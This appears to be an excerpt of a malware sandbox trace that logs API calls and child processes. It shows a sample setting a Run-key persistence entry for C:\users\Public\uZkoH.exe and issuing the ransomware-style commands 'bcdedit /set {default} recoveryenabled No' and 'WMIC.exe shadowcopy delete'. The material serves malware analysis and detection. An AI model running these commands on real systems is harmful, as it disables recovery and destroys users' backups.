	[0249.319] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0249.319] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 2
	[0249.319] lstrlenW (lpString="￾￾C:\\users\\Public\\uZkoH.exe") returned 27
	[0249.319] GetProcessHeap () returned 0x50000
	[0249.320] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x38) returned 0x67a00
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 3
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-d", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/f", cchCount2=-1) returned 2
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
	[0249.320] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1
	[0249.321] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 3
	[0249.321] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-d", cchCount2=-1) returned 1
	[0249.321] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/f", cchCount2=-1) returned 3
	[0249.321] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-f", cchCount2=-1) returned 1
	[0249.321] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/reg:32", cchCount2=-1) returned 3
	[0249.321] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="-reg:32", cchCount2=-1) returned 1
	[0249.321] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/reg:64", cchCount1=-1, lpString2="/reg:64", cchCount2=-1) returned 2
	[0249.321] SetLastError (dwErrCode=0x0) 
	[0249.321] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2011f, lpSecurityAttributes=0x0, phkResult=0x26f7c0, lpdwDisposition=0x26f7e0 | out: phkResult=0x26f7c0*=0x54, lpdwDisposition=0x26f7e0*=0x2) returned 0x0
	[0249.321] RegQueryValueExW (in: hKey=0x54, lpValueName="EV", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
	[0249.322] GetProcessHeap () returned 0x50000
	[0249.322] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65d00
	[0249.322] GetProcessHeap () returned 0x50000
	[0249.322] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65d30
	[0249.322] GetProcessHeap () returned 0x50000
	[0249.322] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6b950
	[0249.322] _memicmp (_Buf1=0x6b950, _Buf2=0xffe81458, _Size=0x7) returned 0
	[0249.322] GetProcessHeap () returned 0x50000
	[0249.322] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x200) returned 0x6bcd0
	[0249.322] LoadStringW (in: hInstance=0x0, uID=0xca, lpBuffer=0x6bcd0, cchBufferMax=256 | out: lpBuffer="Value %s exists, overwrite(Yes/No)? ") returned 0x24
	[0249.322] lstrlenW (lpString="Value %s exists, overwrite(Yes/No)? ") returned 36
	[0249.323] GetProcessHeap () returned 0x50000
	[0249.323] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x4a) returned 0x6b970
	[0249.323] _memicmp (_Buf1=0x6b950, _Buf2=0xffe81458, _Size=0x7) returned 0
	[0249.323] LoadStringW (in: hInstance=0x0, uID=0xce, lpBuffer=0x6bcd0, cchBufferMax=256 | out: lpBuffer="YNA") returned 0x3
	[0249.323] lstrlenW (lpString="YNA") returned 3
	[0249.323] GetProcessHeap () returned 0x50000
	[0249.323] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x8) returned 0x6bee0
	[0249.323] lstrlenW (lpString="￾￾C:\\users\\Public\\uZkoH.exe") returned 27
	[0249.323] RegSetValueExW (in: hKey=0x54, lpValueName="EV", Reserved=0x0, dwType=0x1, lpData="￾￾C:\\users\\Public\\uZkoH.exe", cbData=0x38 | out: lpData="￾￾C:\\users\\Public\\uZkoH.exe") returned 0x0
	[0249.323] RegCloseKey (hKey=0x54) returned 0x0
	[0249.324] GetProcessHeap () returned 0x50000
	[0249.324] GetProcessHeap () returned 0x50000
	[0249.324] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bbd0) returned 1
	[0249.324] GetProcessHeap () returned 0x50000
	[0249.324] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bbd0) returned 0x5c
	[0249.324] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bbd0 | out: hHeap=0x50000) returned 1
	[0249.324] GetProcessHeap () returned 0x50000
	[0249.324] GetProcessHeap () returned 0x50000
	[0249.324] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bc40) returned 1
	[0249.324] GetProcessHeap () returned 0x50000
	[0249.324] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bc40) returned 0x88
	[0249.324] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bc40 | out: hHeap=0x50000) returned 1
	[0249.324] GetProcessHeap () returned 0x50000
	[0249.324] GetProcessHeap () returned 0x50000
	[0249.324] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6b760) returned 1
	[0249.324] GetProcessHeap () returned 0x50000
	[0249.324] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6b760) returned 0x6
	[0249.324] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6b760 | out: hHeap=0x50000) returned 1
	[0249.324] GetProcessHeap () returned 0x50000
	[0249.324] GetProcessHeap () returned 0x50000
	[0249.324] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x67a00) returned 1
	[0249.325] GetProcessHeap () returned 0x50000
	[0249.325] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x67a00) returned 0x38
	[0249.325] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x67a00 | out: hHeap=0x50000) returned 1
	[0249.325] SetLastError (dwErrCode=0x0) 
	[0249.325] GetLastError () returned 0x0
	[0249.325] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0x26f740, nSize=0x0, Arguments=0x0 | out: lpBuffer="믐\x06") returned 0x27
	[0249.326] GetLastError () returned 0x0
	[0249.326] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39
	[0249.326] GetProcessHeap () returned 0x50000
	[0249.326] GetProcessHeap () returned 0x50000
	[0249.326] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6b6a0) returned 1
	[0249.326] GetProcessHeap () returned 0x50000
	[0249.326] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6b6a0) returned 0x2
	[0249.326] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6b6a0 | out: hHeap=0x50000) returned 1
	[0249.326] GetProcessHeap () returned 0x50000
	[0249.326] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x50) returned 0x6bc30
	[0249.326] SetLastError (dwErrCode=0x0) 
	[0249.326] LocalFree (hMem=0x6bbd0) returned 0x0
	[0249.326] __iob_func () returned 0x7fefe122a80
	[0249.326] _fileno (_File=0x7fefe122ab0) returned 1
	[0249.326] _errno () returned 0x1e4bb0
	[0249.326] _get_osfhandle (_FileHandle=1) returned 0x7
	[0249.326] _errno () returned 0x1e4bb0
	[0249.326] GetFileType (hFile=0x7) returned 0x2
	[0249.546] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0249.546] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f6c0 | out: lpMode=0x26f6c0) returned 1
	[0249.546] __iob_func () returned 0x7fefe122a80
	[0249.546] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0249.546] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39
	[0249.546] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x6bc30*, nNumberOfCharsToWrite=0x27, lpNumberOfCharsWritten=0x26f730, lpReserved=0x0 | out: lpBuffer=0x6bc30*, lpNumberOfCharsWritten=0x26f730*=0x27) returned 1
	[0249.547] GetProcessHeap () returned 0x50000
	[0249.547] GetProcessHeap () returned 0x50000
	[0249.547] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bcd0) returned 1
	[0249.547] GetProcessHeap () returned 0x50000
	[0249.547] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bcd0) returned 0x200
	[0249.547] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bcd0 | out: hHeap=0x50000) returned 1
	[0249.547] GetProcessHeap () returned 0x50000
	[0249.547] GetProcessHeap () returned 0x50000
	[0249.548] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6b950) returned 1
	[0249.548] GetProcessHeap () returned 0x50000
	[0249.548] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6b950) returned 0x18
	[0249.548] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6b950 | out: hHeap=0x50000) returned 1
	[0249.548] GetProcessHeap () returned 0x50000
	[0249.548] GetProcessHeap () returned 0x50000
	[0249.548] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65d30) returned 1
	[0249.548] GetProcessHeap () returned 0x50000
	[0249.548] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65d30) returned 0x20
	[0249.548] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65d30 | out: hHeap=0x50000) returned 1
	[0249.548] GetProcessHeap () returned 0x50000
	[0249.548] GetProcessHeap () returned 0x50000
	[0249.548] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6b8c0) returned 1
	[0249.548] GetProcessHeap () returned 0x50000
	[0249.548] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6b8c0) returned 0x86
	[0249.548] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6b8c0 | out: hHeap=0x50000) returned 1
	[0249.548] GetProcessHeap () returned 0x50000
	[0249.548] GetProcessHeap () returned 0x50000
	[0249.549] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6b740) returned 1
	[0249.549] GetProcessHeap () returned 0x50000
	[0249.549] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6b740) returned 0x18
	[0249.549] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6b740 | out: hHeap=0x50000) returned 1
	[0249.549] GetProcessHeap () returned 0x50000
	[0249.549] GetProcessHeap () returned 0x50000
	[0249.549] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65c40) returned 1
	[0249.549] GetProcessHeap () returned 0x50000
	[0249.549] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65c40) returned 0x20
	[0249.549] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65c40 | out: hHeap=0x50000) returned 1
	[0249.549] GetProcessHeap () returned 0x50000
	[0249.549] GetProcessHeap () returned 0x50000
	[0249.549] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65cd0) returned 1
	[0249.549] GetProcessHeap () returned 0x50000
	[0249.549] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65cd0) returned 0x1e
	[0249.549] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65cd0 | out: hHeap=0x50000) returned 1
	[0249.549] GetProcessHeap () returned 0x50000
	[0249.549] GetProcessHeap () returned 0x50000
	[0249.550] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6b720) returned 1
	[0249.550] GetProcessHeap () returned 0x50000
	[0249.550] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6b720) returned 0x18
	[0249.550] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6b720 | out: hHeap=0x50000) returned 1
	[0249.550] GetProcessHeap () returned 0x50000
	[0249.550] GetProcessHeap () returned 0x50000
	[0249.550] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65c10) returned 1
	[0249.550] GetProcessHeap () returned 0x50000
	[0249.550] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65c10) returned 0x20
	[0249.550] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65c10 | out: hHeap=0x50000) returned 1
	[0249.550] GetProcessHeap () returned 0x50000
	[0249.550] GetProcessHeap () returned 0x50000
	[0249.550] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bc30) returned 1
	[0249.550] GetProcessHeap () returned 0x50000
	[0249.550] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bc30) returned 0x50
	[0249.550] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bc30 | out: hHeap=0x50000) returned 1
	[0249.550] GetProcessHeap () returned 0x50000
	[0249.550] GetProcessHeap () returned 0x50000
	[0249.551] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65a60) returned 1
	[0249.551] GetProcessHeap () returned 0x50000
	[0249.551] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65a60) returned 0x20
	[0249.551] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65a60 | out: hHeap=0x50000) returned 1
	[0249.551] GetProcessHeap () returned 0x50000
	[0249.551] GetProcessHeap () returned 0x50000
	[0249.551] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6b970) returned 1
	[0249.551] GetProcessHeap () returned 0x50000
	[0249.551] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6b970) returned 0x4a
	[0249.551] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6b970 | out: hHeap=0x50000) returned 1
	[0249.551] GetProcessHeap () returned 0x50000
	[0249.551] GetProcessHeap () returned 0x50000
	[0249.551] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65a90) returned 1
	[0249.551] GetProcessHeap () returned 0x50000
	[0249.551] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65a90) returned 0x20
	[0249.551] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65a90 | out: hHeap=0x50000) returned 1
	[0249.551] GetProcessHeap () returned 0x50000
	[0249.551] GetProcessHeap () returned 0x50000
	[0249.551] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bee0) returned 1
	[0249.552] GetProcessHeap () returned 0x50000
	[0249.552] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bee0) returned 0x8
	[0249.552] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bee0 | out: hHeap=0x50000) returned 1
	[0249.552] GetProcessHeap () returned 0x50000
	[0249.552] GetProcessHeap () returned 0x50000
	[0249.552] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65ac0) returned 1
	[0249.552] GetProcessHeap () returned 0x50000
	[0249.552] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65ac0) returned 0x20
	[0249.552] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65ac0 | out: hHeap=0x50000) returned 1
	[0249.552] GetProcessHeap () returned 0x50000
	[0249.552] GetProcessHeap () returned 0x50000
	[0249.552] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65af0) returned 1
	[0249.552] GetProcessHeap () returned 0x50000
	[0249.552] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65af0) returned 0x20
	[0249.552] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65af0 | out: hHeap=0x50000) returned 1
	[0249.552] GetProcessHeap () returned 0x50000
	[0249.553] GetProcessHeap () returned 0x50000
	[0249.553] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6b6c0) returned 1
	[0249.553] GetProcessHeap () returned 0x50000
	[0249.553] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6b6c0) returned 0x18
	[0249.553] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6b6c0 | out: hHeap=0x50000) returned 1
	[0249.553] GetProcessHeap () returned 0x50000
	[0249.553] GetProcessHeap () returned 0x50000
	[0249.553] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65b20) returned 1
	[0249.553] GetProcessHeap () returned 0x50000
	[0249.553] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65b20) returned 0x20
	[0249.553] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65b20 | out: hHeap=0x50000) returned 1
	[0249.553] GetProcessHeap () returned 0x50000
	[0249.553] GetProcessHeap () returned 0x50000
	[0249.553] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65b50) returned 1
	[0249.553] GetProcessHeap () returned 0x50000
	[0249.553] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65b50) returned 0x20
	[0249.554] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65b50 | out: hHeap=0x50000) returned 1
	[0249.554] GetProcessHeap () returned 0x50000
	[0249.554] GetProcessHeap () returned 0x50000
	[0249.554] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65b80) returned 1
	[0249.554] GetProcessHeap () returned 0x50000
	[0249.554] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65b80) returned 0x20
	[0249.554] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65b80 | out: hHeap=0x50000) returned 1
	[0249.554] GetProcessHeap () returned 0x50000
	[0249.554] GetProcessHeap () returned 0x50000
	[0249.554] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65bb0) returned 1
	[0249.554] GetProcessHeap () returned 0x50000
	[0249.554] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65bb0) returned 0x20
	[0249.554] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65bb0 | out: hHeap=0x50000) returned 1
	[0249.554] GetProcessHeap () returned 0x50000
	[0249.554] GetProcessHeap () returned 0x50000
	[0249.554] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6b6e0) returned 1
	[0249.554] GetProcessHeap () returned 0x50000
	[0249.554] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6b6e0) returned 0x18
	[0249.555] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6b6e0 | out: hHeap=0x50000) returned 1
	[0249.555] GetProcessHeap () returned 0x50000
	[0249.555] GetProcessHeap () returned 0x50000
	[0249.555] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65be0) returned 1
	[0249.555] GetProcessHeap () returned 0x50000
	[0249.555] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65be0) returned 0x20
	[0249.555] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65be0 | out: hHeap=0x50000) returned 1
	[0249.555] GetProcessHeap () returned 0x50000
	[0249.555] GetProcessHeap () returned 0x50000
	[0249.555] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65c70) returned 1
	[0249.555] GetProcessHeap () returned 0x50000
	[0249.555] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65c70) returned 0x20
	[0249.555] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65c70 | out: hHeap=0x50000) returned 1
	[0249.555] GetProcessHeap () returned 0x50000
	[0249.555] GetProcessHeap () returned 0x50000
	[0249.555] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65d00) returned 1
	[0249.555] GetProcessHeap () returned 0x50000
	[0249.555] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65d00) returned 0x20
	[0249.556] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65d00 | out: hHeap=0x50000) returned 1
	[0249.556] GetProcessHeap () returned 0x50000
	[0249.556] GetProcessHeap () returned 0x50000
	[0249.556] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6b700) returned 1
	[0249.556] GetProcessHeap () returned 0x50000
	[0249.556] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6b700) returned 0x18
	[0249.556] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6b700 | out: hHeap=0x50000) returned 1
	[0249.556] GetProcessHeap () returned 0x50000
	[0249.556] GetProcessHeap () returned 0x50000
	[0249.556] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65ca0) returned 1
	[0249.556] GetProcessHeap () returned 0x50000
	[0249.556] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65ca0) returned 0x20
	[0249.556] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65ca0 | out: hHeap=0x50000) returned 1
	[0249.556] GetProcessHeap () returned 0x50000
	[0249.556] GetProcessHeap () returned 0x50000
	[0249.556] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6b680) returned 1
	[0249.556] GetProcessHeap () returned 0x50000
	[0249.557] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6b680) returned 0x18
	[0249.557] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6b680 | out: hHeap=0x50000) returned 1
	[0249.557] exit (_Code=0) 

Process:
	id = "56"
	image_name = "bcdedit.exe"
	filename = "c:\\windows\\system32\\bcdedit.exe"
	page_root = "0x23879000"
	os_pid = "0x308c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "49"
	os_parent_pid = "0x2ae8"
	cmd_line = "bcdedit  /set {default} recoveryenabled No "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2729
	os_tid = 0x3090


Process:
	id = "57"
	image_name = "wmic.exe"
	filename = "c:\\windows\\system32\\wbem\\wmic.exe"
	page_root = "0x11de000"
	os_pid = "0x30cc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "47"
	os_parent_pid = "0x2ad8"
	cmd_line = "WMIC.exe  shadowcopy delete"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2743
	os_tid = 0x30d0

	[0249.080] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afa30 | out: lpSystemTimeAsFileTime=0x1afa30*(dwLowDateTime=0x76c29880, dwHighDateTime=0x1d5cdef)) 
	[0249.080] GetCurrentProcessId () returned 0x30cc
	[0249.080] GetCurrentThreadId () returned 0x30d0
	[0249.080] GetTickCount () returned 0x11818bf
	[0249.080] QueryPerformanceCounter (in: lpPerformanceCount=0x1afa38 | out: lpPerformanceCount=0x1afa38*=39064002895) returned 1
	[0249.083] GetModuleHandleW (lpModuleName=0x0) returned 0xff1b0000
	[0249.083] __set_app_type (_Type=0x1) 
	[0249.084] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff1fced0) returned 0x0
	[0249.084] __wgetmainargs (in: _Argc=0xff222380, _Argv=0xff222390, _Env=0xff222388, _DoWildCard=0, _StartInfo=0xff22239c | out: _Argc=0xff222380, _Argv=0xff222390, _Env=0xff222388) returned 0
	[0249.085] ??0CHString@@QEAA@XZ () returned 0xff222ab0
	[0249.085] malloc (_Size=0x30) returned 0x125a50
	[0249.085] malloc (_Size=0x70) returned 0x125a90
	[0249.085] malloc (_Size=0x50) returned 0x127ac0
	[0249.086] malloc (_Size=0x30) returned 0x127b20
	[0249.086] malloc (_Size=0x48) returned 0x127b60
	[0249.086] malloc (_Size=0x30) returned 0x127bb0
	[0249.086] malloc (_Size=0x30) returned 0x127bf0
	[0249.086] ??0CHString@@QEAA@XZ () returned 0xff222f58
	[0249.086] malloc (_Size=0x30) returned 0x127c30
	[0249.086] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0249.086] SetConsoleCtrlHandler (HandlerRoutine=0xff1f5724, Add=1) returned 1
	[0249.086] _onexit (_Func=0xff20f378) returned 0xff20f378
	[0249.087] _onexit (_Func=0xff20f490) returned 0xff20f490
	[0249.087] _onexit (_Func=0xff20f4d0) returned 0xff20f4d0
	[0249.087] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0249.087] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0249.399] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0
